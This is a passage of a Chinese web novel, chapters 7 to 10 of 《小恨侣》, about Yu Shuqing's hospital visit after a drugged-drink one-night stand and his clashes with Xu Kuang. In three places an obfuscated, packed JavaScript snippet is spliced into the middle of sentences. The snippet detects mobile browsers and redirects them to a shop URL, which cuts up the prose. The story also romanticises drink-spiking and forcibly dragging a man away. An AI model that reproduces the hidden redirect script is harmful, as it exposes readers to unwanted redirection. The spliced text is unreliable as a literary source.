《小恨侣》 7. 第 7 章 郁书青才不像烧水壶。 烧水壶会滋儿哇地一边冒烟一边叫,他从头到尾都闭着嘴,一声不吭。 很配合地量体温,抽血,坐在凳子上等医生。 对于郁书青的这种行为,白可心的评价很简单—— 烧傻了。 足足39℃,可谓来势汹汹。 以至于让她想到了一些不太适合讨论的可能性。 “外伤在哪里,”医生正在敲键盘记录病情:“需要去后面检查一下吗?” 郁书青沉默了下,终于开口:“不用了,只是一些淤青。” 这会儿医院里人不多,诊室内,只有白可心陪着郁书青,她已经提前带着人在疾控处做了风险筛查,结果倒还好,现在愁得就是这场发烧,和郁书青过于酸痛的腰。 白可心还是有点牙根痒痒。 具体的经历,郁书青死活不肯告诉她,还不愿意被她搀扶,自己硬撑着配合检查,白可心能看得出来,郁书青此刻一定非常不舒服。 天杀的狗男人。 等着,她已经安排人去调监控了,虽然有些意料之外的困难,但不信找不到那个不做措施的王八蛋,同时还是觉得不可思议,万万没想到,她这个高岭之花似的哥哥,也能做出跟陌生人滚到床上的事。 这样想着,白可心的目光微妙一顿。 她发现,郁书青并没有在听医生的话,而是盯着电脑屏幕的装饰出神。 是只塑料狸花小猫,圆滚滚地趴在显示器上,正在打呵欠。 她突然想起了郁书青在家里的乳名,小咪。 在白可心的印象中,这个名字挺奇怪的,不像是男孩的名字,等她上大学后才知道个中缘由,还笑了郁书青很久。 原来,小咪这个名字,是郁书青自己起的。 那会儿他的父母已经过世了,跟着爷爷奶奶生活,有次下了暴雨,浑身湿透的郁书青抱了只小猫回来,问能不能养它,说好可怜,快要死了。 是只病猫,才生下来没多久,瘦得跟只老鼠似的,恹恹地蜷缩在郁书青的衣服里。 二叔看了一眼,说晦气。 郁书青站在门口,没进去,头发还在不停地往下滴水,声音很小,说求求你们了。 据说当时,二叔开了句玩笑,说那可不行,家里只能养一个小畜生。 郁书青抽了抽鼻子,使劲儿擦了一把脸,说可以,那你们养它,行吗? 他蹲下来,把用衣服裹着的小猫放地上,摸了两下,又抬起头。 那会儿郁书青也就六七岁吧,在他的认知里,大人说什么都对,再难的事也能做的到,那么,家里不再养他,换成一只病得快要死掉的小猫—— 后来,爷爷大笑着拉起他的手进屋,说没事,别听你二叔瞎扯,咱家有钱,多养几个都没问题。 郁书青不放心,低头想了会儿,说,那它当哥哥,我当弟弟好吗,一块儿养。 扯着爷爷不撒手,非要给那只病猫身份,来当他们家的第一个小孩。 可有心机了。 “它是大咪,那我就是小咪。” 郁书青背着小书包,都出门了又拐回来,说等大咪病好了,就带着它一起上学,他要让大咪当自己最好的朋友。 “……想什么呢?” 白可心一愣。 她低头,发现郁书青的手放在自己手背上,安抚性地拍了拍,可能是由于那过高的温度,自己紧紧握着的双拳,也随之放开。 白可心松了一口气,视线重新回到输液管上,盯着那匀速滴落的液体:“这会感觉怎么样?” “好多了。” 郁书青躺在病床上,脸颊上的酡红已经慢慢消散,只是说话还有些喘气:“明天不用再输液,吃点药就好了。” 白可心面无表情:“不行,要消肿去炎。” 郁书青顿了顿:“……没那么严重。” 白可心目光幽深:“喝醉了跟人睡了还被内设了,搞得自己烧成这样,不严重吗?” 郁书青:“……” 低声些,难道光彩吗! 再怎么说也是他妹妹兼下属,怎么可以毫无波澜地讲出这种虎狼之词! 幸好他们在单人病房,此刻周围也没人,否则郁书青说啥都得扯着输液瓶逃跑。 他好面子,要脸。 但白可心今天像是吃了枪药,毫不客气:“并且,你还不知道对方是谁。” 郁书青沉默了会:“……够了。” “你连他名字都不知道。” “……可以了。” 白可心拍案而起:“我咽不下这口气,你可是我亲哥啊!” 郁书青:“表的。” “表的怎么了,”白可心越说越激动,“从小到大你都对我好,现在你出了这样的事,我怎么可能袖手旁观,幸灾乐祸!” 这话倒是没错,白可心这人没啥爱好,就俩,一是美甲二是美食,尤其是上大学那会儿,身为恩格尔系数极高的清澈大学生,有点钱全炫自儿嘴里了,每到月底,都是郁书青主动敲她,问生活费够不够,他再给打点。 白可心热泪盈眶。 这叫啥,再生父母啊家人们。 并且郁书青这人,似乎是小时候养猫上瘾,长大后,也特别喜欢投喂他们这些弟弟妹妹,一点架子也没。 这么好的人,睡就睡了,怎么忍心给摧残成这样! 郁书青无奈地叹了口气。 他半靠在后面的枕头上,修长的手指虚虚地笼住大半张脸,只能看见那还有些微肿的唇瓣:“别激动,现在这个不是重点,我先问你,昨晚的手机是谁交给你的?” 像是被按下开关似的,白可心立马坐了回去,压低声音:“二叔的司机。” 她和郁锋没血缘关系,跟着郁书青叫二叔,昨晚的家宴她有所耳闻,知道是要往郁书青身边塞人,于是也留意了下那边的动静。 白可心已经切换到工作状态,表情很冷:“手机我检查过了,没动手脚。” 郁书青“嗯”了一声,指尖有一下没一下地点着自己的眉心。 “等等……” 白可心骤然瞪大眼睛:“难道昨晚的事……” “酒有点问题,”郁书青果断承认,“我跑了,路上遇见了个男人,然后就是你想的那样。” 空气凝固片刻。 郁书青没在意白可心脸上的表情,抬眸看了眼输液瓶,这会儿就剩个底儿,约莫四五分钟就能结束。 是时候回去,见见始作俑者了。 他再清楚不过郁锋的性子,莽撞,容易冲动,最享受的就是他人的吹捧,可偏偏是个草包,遇见事情只知道往后躲,可谓色厉内荏。 所以昨天晚上,能干出来往酒里加东西的恶心事。 却没那个胆子盯到底,跟郁书青彻底撕破脸。 身体的燥热已经消失,空气中还残留淡淡的消毒水味儿,郁书青开口:“这事没完。” 与此同时,传来手机振动的声音。 白可心点开屏幕,看了眼,刚才的严谨精英范儿瞬间不见,嗷一嗓子凑到郁书青耳朵边:“哥,你看!” 给郁书青吵得有点脑壳疼。 他掀起眼皮,看到了一张被偷拍的监控截图。 画面有些模糊,是在昏暗的酒店走廊里,两个男人重叠的身影。 怀里的那个仰着脸,明明白白地写着不胜酒力四个大字,而搀扶他的那个则低着头,似乎在仔细地观察对方的表情,凑得很近,几乎都要碰到彼此的嘴唇。 郁书青眯了眯眼睛。 “只能看到你的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962677|136813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”白可心双击屏幕放大,“看不到这个野男人的……并且,这人应该来头不小,因为酒店的监控在今天早上,已经被全部删除。” 她回头看向郁书青。 “只有这唯一的截图,是今天早上酒店工作人员私自拍的,费了很大功夫才拿到手。” 郁书青没有抬头:“为什么……工作人员要拍这个?” 白可心切换到聊天页面,给郁书青放了一段语音。 “啊……因为很好看,很有性张力,我以为是什么明星模特,就偷偷拍了一张……没有说要拿出去卖,也不会随便给别人看,真的很抱歉!” 铺着精致地毯的走廊上,高大的男人脱掉身上的外衣,几乎把对方紧紧地裹在怀里,两人脚步踉跄,一步步地走进房间,关上了门。 也隔绝了所有旖旎的、暧昧的想象。 郁书青的表情晦暗不明。 “那边我搞定了,这张照片也不会流传出去,”白可心语气很快,再次切换回来,“不过……你真的不认识那个野男人吗?” 郁书青垂着睫毛:“不认识。” “帅吗?” “……忘了。” 白可心“嘶”了一声,有些可惜地放大照片盯了会儿,可还是看不到对方的脸,于是带着点怒气嘟囔:“身材是不错啦,可万一是那种去头可食的虾系帅哥呢……你感觉怎么样?” 郁书青轻笑一声:“不怎么样。” 要是好的话,他这会儿能待在医院输液吗? 等等。 似乎忘记了什么事。 白可心的眼神也闪过一丝迷茫,两人对视片刻,而就在此时,外面响起了叩叩的敲门声。 就两下,有些敷衍。 郁书青呼吸一滞。 因为消毒水味儿被一种更为明显的味道取代,这个味道,昨晚隐秘地沾染了他的全身。 是淡淡的男士香水味,木质调。 徐矿斜斜地靠在门上,单手插兜,姿势是随心所欲的不羁范儿,表情也有些轻佻,可就在目光相接的刹那,他突然一怔,紧接着,毫不犹豫地大步走来。 白可心吓了一跳,本能地挡在前面:“你是……” 可男人轻而易举地越过了她。 直接拉过郁书青的手,一把撕开上面的医用胶带—— 拔出的针头上,滚出一颗很圆的鲜血。 “傻子,” 徐矿按着对方的手背,语气嘲讽:“输液瓶都空了还不知道,都回血了。” 话音刚落,被一把打开了手。 郁书青已经坐了起来,重新按好胶带,一言不发。 而白可心的眼睛瞪得很大。 “哇靠,”她本能地把这个闯入者和监控截图联系起来,“你、你就是那个……” 野男人三个字还没说出口。 “嗯,”徐矿歪了下脑袋,眼眸有一丝促狭,“毕竟收了钱,得做好回访工作,才能再继续合作下一单啊。” 郁书青冷冷道:“不需要,谢谢。” “那可不行,”徐矿的视线虚虚地在对方领口绕了圈,“让顾客满意,当然是我们的责任……尤其是像您这种优质顾客,更是义不容辞……嗬!” 连白可心都没看清楚,这男人是怎么敏锐地抓住郁书青手腕的。 总之就是,那个巴掌,没能甩到他的脸上。 “怎么,昨晚没能让您满意吗?” 徐矿低低地笑了起来,嗓音有点哑:“宝贝,别这么凶。” 郁书青看着他,也跟着笑了起来。 “啪——!” 徐矿的脸被打得歪到一边,额发散了点下来,遮挡住了眼眸里的神色。 郁书青活动了下手腕,语气淡淡。 “傻子,我有两只手。” 8. 第 8 章 其实,被郁书青揍,在徐矿这里不算什么新鲜事。 毕竟俩人小时候关系不好,经常打架,当他给郁书青拔针头的时候骂了句傻子,就已经做好了心理准备。 反正郁书青一定会骂回来。 男人还保持着这个偏头的姿势,只是嘴角轻轻扯了一下,扬起点很淡的嘲讽。 这个动作,在外人看来有点像是被打懵,或者恼羞成怒的前奏,甚至白可心都已经站起来,挡在了郁书青前面。 “哎呀……” 修长的手指点在额前,又顺着太阳穴往下滑动,最终落在还有浅浅指痕的脸颊上,徐矿眯着眼睛看过来,嘴角弧度没变:“你可算笑了。” 郁书青总是在这种时候,心情会变好。 无论是拍着他的脸说我弄死你,还是毫不客气地甩过来一巴掌,都会带着点笑意。 徐矿觉得自个儿挺颜控的,郁书青的长相在他这里……勉勉强强排的上号吧,主要是平时太没表情了,像个冰冷的假人,特端着,可一笑起来,蛮甜。 尤其褪去了青涩的稚气,长大后的郁书青,还挺像那么回事的。 昨天晚上他就差点没认出来。 所以这会儿,徐矿心情挺不错。 就想继续招惹人家。 郁书青就当没听见似的,按着手背上的胶带下床,旁若无人地往外走,擦肩而过的时候徐矿挑了下眉梢,叫住人:“喂!” 直到这时,他的神情才有了一点的扭捏:“你……你怎么样了?” 早上那会儿郁书青离开,徐矿迟疑片刻,还是没有追出去。 不就一夜情嘛。 他摸索着点了根烟,食不知味地抽了会儿,拿不准郁书青的意思到底是什么,索性也不去再想,而是闭着眼靠在床头,让自己的呼吸都沾染上微苦的烟草味儿,化解掉内心深处的陌生情绪。 接着,徐矿没有急着走,而是打电话找了个中间人,直接到酒店值班室,盯着删除了昨晚的监控。 没多长时间,从大厅,到电梯,再到踉跄着踏入走廊,一同走进房间,统共也就两三分钟。 有工作人员问他,先生,需要您拷贝一份吗? 徐矿的手撑在桌子上,眼睛离屏幕很近,几乎都能看到郁书青唇上的那颗小痣,可他也只是摇了摇头,没有回答。 他不清楚郁书青现在的情感状况,但知道,对方一定不会乐意被人看到。 忙完后已经中午了,徐矿回家洗澡,吃饭,和助理沟通了接下来几天的安排,所有的工作全部对接完后,徐矿给自己开了瓶酒。 木塞“啵”地一声拔出,他低低地笑了下。 一场露水姻缘罢了。 郁书青都没当回事,他这会儿满脑子都是人家的身影,算怎么回事? 难道是头次开荤,心痒难耐? 高脚杯里的液体摇晃,他连酒都没醒,就直接灌下一大口,若是被人瞧见,定会笑话说徐家的公子怎么跟饮牛似的,莫不是借酒消愁? 愁个屁。 若是真的被情-欲囚住,那他脑海里应该是郁书青的低喘,因为兴奋而绷紧的脚尖,和盛满水汽的朦胧泪眼—— 徐矿又喝了一大口。 很可惜,不是。 他一直回想的,是郁书青垂着脖颈,声音很小地说,西瓜籽吃进肚子里会长芽,你弄我肚子里,会长出小孩吗? 然后又自己在那笑,说没关系,我多喝点热水就好。 “哐当——” 徐矿给杯子撂桌上了。 所以徐矿认为,自己这会儿就是出现了征服欲,曾经跟郁书青打得难分难解,突然见到了这么乖的郁书青,一时,就有些上头,和难以启齿的欲-望满足。 还是突兀的手机铃声,打断了他愈加烦躁的思绪。 “喂,朋友你醒了没,猜我刚才看到谁了?” 打电话的是他一发小,家里开私人医院的,明明是个小二代,偏偏特喜欢亲临一线往医院跑,然后聚会的时候,就绘声绘色地给他们讲肛肠科的八卦。 “您猜怎么着,从肚子里取出一个大甜瓜!” 搞得徐矿以为是哪个哥们玩大发了,给人搞进医院闹了笑话,但他这会儿没啥心思吃瓜,敷衍地“嗯”了一下。 “郁书青!就小时候跟你关系挺别扭的那个,还记得不?” 徐矿心头一跳,不受控地抓住酒瓶,清了清嗓子才开口:“记得……他怎么了?” “来医院了呀,正好被我看见了,”朋友滔滔不绝:“我还以为自己认错人,但一瞅,真是他,好巧啊……” “他怎么了?” 徐矿没忍住,直接开口打断对方:“为什么去医院了,什么科室?” “那可是病人的隐私,” 朋友这会儿装起大尾巴狼了,嘿嘿一笑着压低声音:“你可别说出去……过来做了些疾控筛查,倒也没啥事……哦,发烧了,应该还在输液。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962678|136813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “发烧?” “嗯,”朋友继续道,“估计是跟人419后没做措施吧,要不然干嘛跑这么远,特意来人少的医院——” 可还是被看到了。 “那渣男也够可恶的,”朋友啧啧道,“给人睡了不说,还不带套,弄进去肯定得发烧啊,挺受罪的。” 徐矿张了张嘴:“……哦。” 朋友有点上瘾:“要我说,这种男人真不是啥好东西,睡觉你情我愿,给人搞进医院也太不应该了,是吧?” 他跑来给徐矿打这个电话,其实也是有小私心的,现在公司这边要拉投资,需要人家徐矿的人脉,而他知道这俩人关系不太好,特意跑来卖个八卦,想着万一对徐矿有用呢? 可是对面怎么安静下来了。 朋友“咦”了一声,琢磨着有点不对劲。 直到这时,听筒那边才传来徐矿的声音,似乎低低地叹了口气,重复了一遍刚才的内容。 “是啊,睡觉你情我愿……给人搞进医院,也太不应该了。” 他在这方面有个连自己都意识不到的问题,那就是跟狗似的,领地意识特强,说句有些粗俗的话,小狗冲着电线杆抬腿,就会直接圈成领地,那么昨晚他都弄郁书青肚子里了—— 潜意识里,徐矿觉得,郁书青此刻的发烧或者受伤,就该他来负责。 并不是说真起了不该有的悸动。 所以这会儿徐矿赶来医院,态度挺好,被抽了一巴掌也不生气,还有点紧张地端详郁书青的神色—— 脸色苍白,稍微有点疲态,眼睛倒是依然挺亮。 徐矿视线往下。 哦,穿的也是比较舒适的便服,白色套头衫,浅灰色运动裤,两截抽带还松松地在那耷拉着,似乎一扯,就能轻而易举地脱掉。 安静的病房内,一点吞咽的声音就格外明显。 郁书青站住了,不可置信地回头:“什么?” 这个样子的郁书青,仿佛和以前那个稚气的少年重叠,在徐矿的视网膜里放大,没有西装革履,没有醉人的酒气,而是干干净净地站在那里,瞳仁澄澈得像是玻璃珠子。 他下意识地开口:“……想带你走。” 郁书青有些怔然:“带我走?” 是对方知道了什么事,还是现在暗示他,外面有危险? 可男人只是看着他的眼睛。 郁书青不解,又重复了一遍:“带我走干吗?” 徐矿:“嗯。” 9. 第 9 章 白可心特意挑选的,是一家较为偏远的私立医院,所以人流量小,走廊外面也很安静。 郁书青估计了下,在这里动手的话,应该不会引起特别大的动静。 其实成年后,他已经很少再和人有肢体冲突了,毕竟世界的规则发生了变换,西装革履,推杯换盏,利益这两个字高于一切,而不是原始的丛林法则。 但郁书青还是手痒痒。 ——带我走干吗? ——嗯。 在明白对方话里微妙的含义后,他就很想冲着那张俊脸来上一拳,郁书青自己也想不明白,长相和气质都这么好的人,怎么一开口,就欠欠的呢。 成功地由英俊帅哥,变成了那男的。 郁书青身边这种类型不多,不,确切来说是很少,就没怎么见过这样欠儿登的花孔雀,他刚想怼回去一句,可一抬眸,正对上了一双明亮的黑色瞳孔。 ……似乎在期待着些什么,很兴奋的样子。 郁书青闭上了嘴。 目光下移,在对方那饱满的胸肌上掠过,一些暧昧的画面随之在脑海闪现。 郁书青闭了下眼睛,决定不和这人一般见识。 上午那会儿,白可心说对方估计来头不小,其实郁书青也猜到了,一个人的身价是很好判断的,车和手表不算什么,主要是谈吐的范儿,打眼一扫,无处遁形。 郁书青并不是在乎另一半家境的类型,感觉到了就好,但同时也不能委屈自己,所以对郁书青而言,睡就睡了,他也一定要睡最好的那个—— 并且也是自己主动的,不怪人家。 郁书青低头撕开医疗胶带,血止住了,白皙的手背上还是出现了一小片微肿,这场发烧来得快,去得也快,只给身体留下了绵长的酸痛。 外面天色已晚,孔雀蓝般的夜幕里,点缀着零散的繁星。 郁书青微微一哂。 他就像没看到徐矿似的,离开的步伐加快,而白可心则一把拎起包,小跑着在后面跟上,经过徐矿的时候没忍住回头,使劲儿瞪了一眼。 呸,渣男! 徐矿无辜地眨着眼睛,也跟着出了病房,头顶是白亮的灯光,照在男人深邃的眉眼上,投下小片的阴影。 “喂,郁书青!” 前方俩人都没理睬他,只有摆放在窗台的绿萝给面子,被风吹得晃了几下叶片。 徐矿不急不恼地跟在后面,嘴角噙着笑:“我觉得这件事,有必要跟你谈一谈。” 不仅仅是滚了床单,还有被塞的那两百块钱,徐矿怎么也想不通,他凭什么只值这么点钱? 拜托,他一米九一英俊多金宽肩窄腰八块腹肌,即使被误认为是夜场小鸭子,也不可能是这么便宜的货色! 徐矿对自己的脸很自信,挂牌下海,起码十万人民币起价。 所以昨晚的两百块钱,徐矿得出了结论,一定是对方故意吸引他的注意力。 或者就是郁书青喝大发了不好意思,睡了老同学后觉得没脸,干脆甩出点钱来,假装只是萍水相逢。 他不禁扶额苦笑,觉得郁书青也真是的—— 这不更尴尬了吗? “叮!” 电梯门即将关闭,却被横插了一只脚进来,又徐徐向两边打开。 郁书青的指尖点在按键上,脸上没什么表情。 徐矿伸手撑着电梯门:“等等,我话还没有跟你说完。” 不明不白地被睡了,他一定要讨个说法才行。 但郁书青只是后退两步,站在角落的位置:“叫保安吧。” 徐矿:“?” 他直接挤进电梯,有些气恼地按下关门键:“小咪,你能不能先听我把话讲完?” 话音落下,连一脸警惕地举着手机的白可心,都愣住片刻。 现在已经很少有人这样叫郁书青了,以前爷爷最爱叫他小咪,可后来爷爷病了,几乎连自己最疼的孙子都给忘记,更何况只是一个无关紧要的昵称。 沉默的时间很短暂,电梯转眼在负一楼停下。 空旷的地下停车场里,一点声音都回荡得格外响。 “这位先生,” 徐矿靠着一辆卡宴,文质彬彬地打开副驾驶的门,姿态优雅:“需要我送你回去吗?” 郁书青看了他一眼,扭头对白可心说:“你先在车上等我。” “好。” 白可心只要切换到工作状态,从不质疑郁书青的任何决定,她快步走向旁边的一辆奔驰G级,拿出钥匙,按亮车灯。 徐矿讶异地挑了下眉梢:“你喜欢这样的车?” 没有男人不爱车,从所选择的车型,很容易看出一个人的本质内在,像徐矿这样的,就喜欢颜色鲜亮骚包的超跑,引擎声响起,刺激的是肾上腺素的爆发,他原本以为郁书青可能偏爱商务型,那种低调,规矩,从来不会出错的—— 没料到,郁书青的车是一辆越野,如同庞大的巨兽,蛰伏在深处的黑暗。 郁书青没搭理他,自顾自地坐上副驾驶,“砰”地一声关上门。 “安全带,”徐矿跟着上车,“我来帮你……” “名字。” “嗯?” 男人动作不变,不疾不徐地扯出顺滑的皮质带子,绕过郁书青的胸前,轻轻地往自己这边扯,无言的沉默把所有的感官放到最大,呼吸声清晰,在即将陷入卡槽时,郁书青伸手,拽住了徐矿的衣领。 他手上用了力气,迫使对方和自己四目相对。 “疼,”徐矿不为所动,一副无所谓的模样,把最脆弱的喉结暴露出来,“宝贝你轻点。” 郁书青声音还哑着:“我不是查不到你的信息,何必兜圈子……你到底是谁?” 呵,一个被你睡了的纯情男人而已。 两人贴得近,能嗅闻到彼此身上的味道,淡淡的消毒水味儿混杂着木质调的香水,结合在一起并不难闻,反而有种奇异的冷冽。 徐矿注视着郁书青,突然开口:“你真的不记得了?” 郁书青脸上显出一丝怔然,脑海中,突兀地出现了个可能性。 如果,他们之前认识的话…… 手背覆上温热的掌心,徐矿一点点地向前俯去身体:“还是,你把我给忘了?” 他有些不爽。 无论是郁书青的主动亲热还是那两百块钱,都令他产生莫名的烦躁,徐矿当然知道昨晚郁书青喝醉了,可喝酒就能往男人身上贴吗?甚至在床上的时候,还那么配合。 他的目光落在那颗小痣上。 郁书青的嘴唇有点肉感,形状很美,仰着脸看人,总会不自觉地轻轻张开一点—— 就像现在这样。 徐矿捏着郁书青的下巴,拇指幅度很小地摩挲,声音也变得柔软暗哑:“好伤心,你真的不对我负责啊。” 没系好的安全带被松开,顺着胸前的轮廓滑了回去,发出很轻的一声“咻”,像是气球被人放掉似的,声音不大,却像是枚休止符,突兀地打断了略显黏着的气氛。 郁书青猛然放开了手。 “我们之前认识?” 他偏过脸,躲开徐矿作乱的拇指:“抱歉,可能我把你给忘了。” 事到如今,虽然脑海里没有任何关于对方的记忆,但郁书青已经下了判断,就是他们曾经相识。 只是一场意外,他忘掉了很多东西。 没关系,都是些无关紧要的,而他和这个男人,曾经的关系一定不会太好。 可男人的表情,明显地变得复杂。 “忘了,” 徐矿重复了一遍,喃喃道:“你把我给忘了。” “难道我们是很好的朋友?”郁书青反问,“抱歉,可是这几年的时间里,我并没有和你联系过。” 如果真的是好友,或者有什么纠葛的关系,一定会有痕迹,不可能没有任何往来,就像是一纸空白。 徐矿张了张嘴,又闭上。 他脸颊上的指痕还没有完全消失,讲真,是有那么一点的滑稽,可从医院出门下来,一路上无论有没有遇见人,他都昂首阔步,一副把巴掌印当勋章的嘚瑟模样,引得郁书青不由自主,也多看了两眼。 的确,长得很嚣张。 是他喜欢的类型。 这会儿徐矿的神情,显得有那么一点的委屈。 刚才被甩耳光都笑着呢,此时眼尾发红:“你居然……真的把我给忘掉了。” 说完,他抽了下鼻子,声音很轻:“渣男。” 郁书青:“……啊?” 拜托,现在他的屁股还疼着,怎么就落下这么一大顶帽子。 “我们曾经那么好,”徐矿抬起眼眸,里面居然泛起薄薄的水汽,“你怎么可以给忘了呢……” 没有等郁书青回话,就传来了一声哽咽。 郁书青:“……” “你不是一直想知道,我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12962679|136813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁吗,”徐矿哀怨道,“我是你的初恋,我们在一起谈了……三年的恋爱。” “至于为什么没有联系,那是因为,最后一次见面发生了争执。” 徐矿定定地注视着郁书青:“那天你太生气了,我也没有控制好情绪,所以删除了彼此……其实我一直很后悔,也从来没有忘记过你。” 他的身体几乎笼罩住了郁书青,虚虚地握着对方的手:“小咪,别生气了,我们能重新开始吗?” 距离太近了,偏头就可以吻到。 郁书青脸上的表情很木,仿佛来不及消化这些信息,而嘴唇,真的轻轻地张开来。 似乎在邀请。 “宝贝,”徐矿语气轻佻,“给个机会。” 他往前凑了过去—— 几乎是瞬间,一根手指抵住了男人的嘴唇。 郁书青的后背紧紧贴在车厢内,退无可退,但神情的怔然已消失不见。 “太假了。” 他食指加重了点力气:“你是演员吧,编的还挺像那么一回事。” 徐矿笑了起来,呼出的气息羽毛似的搔过指缝:“你也够假的……说吧,是什么时候失忆的?” 郁书青心尖一跳,下意识地反驳:“我没有失忆。” “没有失忆的话,怎么可能忘掉我呢?” 徐矿说话的语速很慢,一点舌尖隐在唇缝间,带着若有若无的灼热和潮意。 “哦……” 郁书青回想了下,紧接着缩回手:“怎么说呢,一些不重要的东西……你会一直记得吗?” 他还是觉得,对方在诈自己。 但这并不是现在的重点,郁书青的确喜欢对方的脸和身材,也的确刻意丢下两百块钱,好让人追来,因为郁书青骨子里,还是有些执拗的,就像是那句常说的话—— 我可以对你一见钟情,但必须你来追我。 目前没到思考彼此关系的地步,因为最重要的,是家里的那堆乱七八糟的事,可男人却仿佛被重重地捶了一下,呼吸猛然加重。 “所以,你还真的把我给忘了。” 徐矿看着他,语速很慢:“不仅忘了我,还趁着醉酒,给我睡了。” 睡完后,轻飘飘地给他丢下两百块钱,像是随手打发。 郁书青的瞳孔骤然紧缩。 引擎声响起,车灯刺破地下室的黑暗,咆哮着向外驶去。 巨大的推背感中,郁书青一把扯过安全带:“你要干什么?” 徐矿面无表情地转动方向盘:“干你。” 卡槽响起“咔哒”一声,令他回想起昨晚的瞬间,郁书青醉得都站不稳了,跪坐在床上,还要伸出软绵绵的手,颤抖着为他解开皮带卡扣,相似的金属声音,心境却全然不同,连徐矿自己都想不明白,为什么要发这么大的火—— 只觉得奇耻大辱。 原来郁书青,真的只是给他当做生命中的过客。 那凭什么,凭什么要选择自己。 想睡就睡,想走就走—— 徐矿黑着脸看向前方,想来也是,他们虽然小时候常常打闹,但阴差阳错中,从未被分到一个班级过,而初中没上完,徐矿就离开了这座城市。 成为了郁书青记忆中,一个模糊的印迹。 可他肩膀上,明明还有对方当时留下的牙印。 “你疯了吗?”郁书青掏出手机:“有话可以好好……” 话没说完,手机就被夺走,一把扔到后座。 郁书青倒抽一口冷气,眼睁睁地看着徐矿敏捷地打了把方向盘,甩掉了后面跟着的白可心。 还好此时已过了晚高峰,高架上极为畅通无阻,两边的栅栏飞速地后退,几乎出现了残影。 郁书青安静下来,不打算继续刺激对方,同时留意路边的建筑,盘算着白可心现在报警的话,警方大概多久能到。 同时心里暗暗后悔,觉得自己这个激将法,是不是玩得有些太过火…… 徐矿在限速范围内开到了最快,二十分钟不到,就把车停在了地下车库。 他回眸,看了郁书青一眼。 紧接着,就一言不发地给人拖下了车。 郁书青一路被扯得踉踉跄跄,挣扎无果,被强行带进了别墅的室内,电梯上行,徐矿箍着他的腰,一把将人推进了房间。 没有给任何反应的时间—— “砰!” 他仰面摔在柔软的床上。 10. 第 10 章 郁书青坐起来,又被按下,肩颈被对方的掌心压得生疼。 一切都发生得太快,卧室的门刚才被踹开,此时才缓缓回弹,像是做错事躲在角落的小孩,悄咪咪地发出一声很轻的“吱呀——” 几乎就在电光火石间,徐矿侧身一躲,灵巧地避开了郁书青狠狠撞来的膝盖,同时拽住对方的脚腕,反手一拉,刚撑起身体的郁书青又被摔在了床上。 接二连三地被压制,郁书青已经有点恼了。 “你到底要做什么?” 他冷冰冰地盯着对方的眼睛,同时小心地往后挪了下身体,掌心按在床褥上,向后摸索,被扯进房间的刹那,他就快速浏览了一遍屋内的结构,床头柜那里有一个艺术造型的玻璃杯,拿起来正好趁手—— 徐矿扬起眉梢:“要跟你打一架,不过在此之前,我要问你一个问题。” 他单手扯开自己的衬衫,表情很凶:“……还记得我的肩膀吗?” 郁书青眯着眼睛看过去。 好宽。 很标准很好摸,也很有劲。 上面有他昨晚留下的咬痕,泛着暧昧的红,而旁边,似乎还有个模糊的疤痕。 郁书青一脸茫然,没太理解对方的意思。 是暗示吗? 这王八蛋给他带来这里,真的是打算做点不要脸的事? 那可不行,郁书青虽然喜欢这张脸,但他的屁股还疼着。 他不想激怒对方,打算缓和气氛,于是就试探着开口:“宽肩……好、好挂腿?” 屋里陷入寂静。 怎么了,郁书青迷茫地眨着眼睛。 不好笑吗? 他有些怀疑这人是在显摆身材,之前,他从白可心手机里看到过一些漫画截图,挺不堪入目的,而白可心嗷一嗓子,说这可是韩国矿工! 什么矿工,乱七八糟的,郁书青只记得图片里的男人身材,都挺哇塞。 就跟眼前的景象差不多。 所以……对方是在等着自己夸他? 郁书青沉默地思考了起来。 可徐矿似乎不耐烦了,他冷笑一声,当着郁书青的面,慢慢地给衬衫穿好,一粒粒地系上扣子,然后伸臂一揽,直接抱住郁书青的腿弯,给人使劲儿往外一扯:“跟你说过,要专心点。” 草! 郁书青想骂人。 在身形踉跄的这个档口,他猛地挥臂过去,眼看就要砸到男人的脸,可对方却像是早有预料一般,顺势偏过头,直接绕到了郁书青的后背,反剪他的双手,而郁书青没有丝毫犹豫地往后扬起脑袋,终于—— “砰!” 徐矿松开手,捂着自己的脸颊:“你又用头砸我!” 小时候就这样,郁书青体格小力气不够,徐矿轻而易举能控制住对方的双手,而还没等他嘚瑟地发表胜利者感言,郁书青就像头豹子似的撞过来。 好讨厌! 现在都这么大了,还是很讨厌。 “幸好没撞到眼,”徐矿咕咕哝哝的,“你的脑袋不疼吗,又不是铁做的……等等!” 郁书青的手臂被扯住,整个人再次被按进柔软的被褥里—— 就差一点,他就可以抓到玻璃杯了。 